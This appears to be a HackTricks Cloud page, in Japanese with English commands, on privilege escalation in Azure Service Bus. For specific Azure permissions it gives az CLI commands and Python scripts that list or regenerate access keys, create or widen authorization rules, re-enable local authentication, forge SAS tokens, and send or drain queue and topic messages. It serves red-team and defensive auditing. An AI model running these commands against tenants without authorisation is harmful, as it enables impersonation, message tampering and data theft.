Az - Service Bus Privesc
Reading time: 16 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Service Bus
詳細については、次を確認してください:
Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action または Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action
これらの権限により、Service Bus 名前空間内のローカル認証ルールのキーを取得または再生成できます。このキーを使用することで、Service Bus 名前空間として認証でき、任意のキューやトピックにメッセージを送信したり、任意のキューやサブスクリプションからメッセージを受信したり、システムに対して操作を妨害したり、正当なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりすることが可能です。
デフォルトでは、RootManageSharedAccessKey
ルールは Service Bus 名前空間に対して完全な制御を持っています そしてこれは az
cli によって使用されますが、他のキー値を持つ他のルールが存在する可能性があります。
# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]
# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
Microsoft.ServiceBus/namespaces/AuthorizationRules/write
この権限を使用すると、すべての権限と独自のキーを持つ新しい認証ルールを作成することができます:
az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send
[!WARNING] このコマンドはキーで応答しないため、特権を昇格させるために前のコマンド(および権限)で取得する必要があります。
さらに、そのコマンド(および Microsoft.ServiceBus/namespaces/authorizationRules/read
)を使用して、Azure CLIを通じてこのアクションを実行すると、既存の承認ルールを更新し、次のコマンドでより多くの権限を与えることが可能です:
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send
Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action
Service Bus 名前空間内の特定のトピックやキューは、それぞれ独自の承認ルールを持つことができ、エンティティへのアクセスを制御するために使用されます。これらの権限を持つことで、これらのローカル承認ルールのキーを取得または再生成することができ、エンティティとして認証し、メッセージの送受信、サブスクリプションの管理、またはシステムと相互作用して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。
# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write
この権限を使用すると、すべての権限と独自のキーを持つ新しい認証ルールを作成することができます:
# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
[!WARNING] このコマンドはキーで応答しないため、特権を昇格させるために前のコマンド(および権限)で取得する必要があります。
さらに、そのコマンド(および Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read
)を使用して、Azure CLIを通じてこのアクションを実行すると、既存の承認ルールを更新し、次のコマンドでより多くの権限を与えることが可能です(不足している場合)。
# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used)
これらの権限により、攻撃者は次のコマンドを使用して「ローカル認証」を再有効化できます。そのため、共有ポリシーからのすべてのキーが機能します。
az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>
メッセージをキーで送信する (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action または Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)
PrimaryConnectionString
を取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用すると、Service Bus名前空間として完全に認証でき、任意のキューやトピックにメッセージを送信し、システムに対して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。この方法は、--disable-local-auth
がfalseに設定されている場合に機能します(つまり、ローカル認証が有効になっています)。
import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus
NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_OR_QUEUE_NAME = "<TOPIC_OR_QUEUE_NAME>"
async def send_message():
async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client:
async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender:
await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item"))
print("Sent message")
asyncio.run(send_message())
さらに、az restを使用してメッセージを送信できます。この場合、使用するためにsasトークンを生成する必要があります。
import time, urllib.parse, hmac, hashlib, base64
def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token
# Replace these with your actual values
resource_uri = "https://<namespace>.servicebus.windows.net/<queue_or_topic>"
key_name = "<SharedKeyName>"
primary_key = "<PrimaryKey>"
sas_token = generate_sas_token(resource_uri, key_name, primary_key)
print(sas_token)
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<queue>/messages" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F<NAMESPACE>.servicebus.windows.net%2F<TOPIC_OR_QUEUE_NAME>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>" \
--body "<MESSAGE_BODY>"
Receive with keys (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)
PrimaryConnectionStringを取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用して、名前空間内の任意のキューまたはサブスクリプションからメッセージを受信でき、潜在的に機密または重要なデータへのアクセスを可能にし、データの流出を促進したり、メッセージ処理やアプリケーションのワークフローに干渉したりすることができます。この方法は、--disable-local-auth
がfalseに設定されている場合に機能します。
import asyncio
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus
CONN_STR = "<PrimaryConnectionString>"
QUEUE = "<QUEUE_NAME>"
# For topics/subscriptions, you would use:
# TOPIC = "<TOPIC_NAME>"
# SUBSCRIPTION = "<TOPIC_SUBSCRIPTION_NAME>"
async def receive():
async with ServiceBusClient.from_connection_string(CONN_STR) as client:
# For a queue receiver:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
for msg in msgs:
print("Received:", msg)
await receiver.complete_message(msg)
# For a topic/subscription receiver (commented out):
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
# msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
# for msg in msgs:
# print("Received:", msg)
# await receiver.complete_message(msg)
asyncio.run(receive())
print("Done receiving messages")
さらに、az restを使用してメッセージを送信できます。この場合、使用するためにsasトークンを生成する必要があります。
import time, urllib.parse, hmac, hashlib, base64
def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signature = urllib.parse.quote_plus(base64.b64encode(
hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token
# Example usage:
resource_uri = "https://<namespace>.servicebus.windows.net/queue" # For queue
# resource_uri = "https://<namespace>.servicebus.windows.net/<topic>/subscriptions/<subscription>" # For topic subscription
sas_token = generate_sas_token(resource_uri, "<KEYNAME>", "<PRIMARY_KEY>")
print(sas_token)
キューでは、メッセージを取得またはプレビューできます(メッセージを取得すると削除されますが、プレビューでは削除されません):
#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?peekonly=true&timeout=60" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<ENTITY>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
トピック:
#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
メッセージを送信します。DataActions: Microsoft.ServiceBus/namespaces/messages/send/action
この権限を使用してメッセージを送信できます。--disable-local-auth
が true に設定されていても問題ありません。
import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus
NS = "<namespace>.servicebus.windows.net" # Your namespace
QUEUE_OR_TOPIC = "<QUEUE_OR_TOPIC>" # Your queue name
async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
#async with client.get_topic_sender(topic_name=TOPIC) as sender: # Use this to send the message to a topic
async with client.get_queue_sender(queue_name=QUEUE) as sender:
await sender.send_messages(ServiceBusMessage("Single Message"))
print("Sent a single message")
await credential.close()
if __name__ == "__main__":
asyncio.run(run())
メッセージを受信する。DataActions: Microsoft.ServiceBus/namespaces/messages/receive/action
この権限を使用してメッセージを受信できます。たとえ --disable-local-auth
が true に設定されていても。
import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus
NS = "<namespace>.servicebus.windows.net"
QUEUE = "<QUEUE>"
# For a topic subscription, uncomment and set these values:
# TOPIC = "<TOPIC>"
# SUBSCRIPTION = "<SUBSCRIPTION>"
async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
# Receiving from a queue:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
async for msg in receiver:
print("Received from Queue:", msg)
await receiver.complete_message(msg)
# To receive from a topic subscription, uncomment the code below and comment out the queue receiver above:
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
# async for msg in receiver:
# print("Received from Topic Subscription:", msg)
# await receiver.complete_message(msg)
await credential.close()
asyncio.run(run())
print("Done receiving messages")
参考文献
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。